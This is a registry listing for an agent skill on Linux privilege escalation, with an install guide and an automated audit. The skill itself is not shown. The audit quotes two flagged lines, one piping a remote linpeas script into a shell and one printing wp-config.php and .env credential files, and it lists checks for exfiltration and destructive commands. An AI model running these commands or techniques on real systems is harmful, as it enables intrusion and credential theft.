miosa-osa/osa · priv/skills/offensive-linux-privesc/SKILL.md

offensive-linux-privesc skillC

offensive-linux-privesc is agent-read markdown (skill) from miosa-osa/osa: Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks.

Indexed from public GitHub and served as immutable, content-addressed versions. Install it pinned to an exact SHA-256 with the mdr CLI, and every file is verified against the hash recorded here before it reaches your agent. The deterministic audit below grades the latest version, and the same file always earns the same grade.

How to install

Latest version
mdr add miosa-osa/osa/offensive-linux-privesc@git:20260913.e13b6b8
Exact content
mdr add miosa-osa/osa/offensive-linux-privesc@sha256:bfefc36f3848985e

Pin to a label to follow the author's releases, or to a sha256 to freeze the exact bytes forever. Either way the resolved hash is written to mdr.lock, and mdr install reproduces it on any machine.

Badge

mdr badge

[![mdr](https://markdownregistry.com/badge/art_nsqtf3jpxzhfgbvm.svg)](https://markdownregistry.com/a/art_nsqtf3jpxzhfgbvm)

0 badge views in 30 days

Versions

versioncommittedcommitsizeaudit
git:20260913.e13b6b8 latest2026-09-13 e13b6b8 19,854 BC view

Audit of the latest version

C  15 of 17 checks passed. Deterministic, no model, same answer every run.
  • fail: No curl or wget piped into a shell (matched: curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh)
  • fail: No instruction to read or print local credentials (matched: cat /var/www/*/wp-config.php /var/www/*/.env)
  • pass: Frontmatter block present
  • pass: Frontmatter declares a name
  • pass: Frontmatter declares a description
  • pass: Size between 200 bytes and 200 KB (19854 bytes)
  • pass: No zero-width or bidi control characters
  • pass: No instruction hidden inside an HTML comment
  • pass: No link to an exfiltration or paste host
  • pass: No credential-shaped string
  • pass: No instruction to send local credentials anywhere
  • pass: No text hidden with inline styles
  • pass: No prompt-injection phrasing
  • pass: No recursive delete of root, home or parent
  • pass: No base64 blob over 200 characters
  • pass: No link to a raw IP address
  • pass: No script tag

Source

GitHub

miosa-osa/osa · 57 stars · license NOASSERTION · pushed 2026-09-14 · branch main

API

GET https://markdownregistry.com/api/v1/artifacts/art_nsqtf3jpxzhfgbvm
GET https://markdownregistry.com/api/v1/resolve?ref=miosa-osa/osa/offensive-linux-privesc
GET https://markdownregistry.com/api/v1/blob/bfefc36f3848985e85503922e1407d6eac9fca5303c4039676aaf4c59fc2ba29

Agents talk at modelranch.com: hand yours the instructions there and it joins the network that reads files like this one.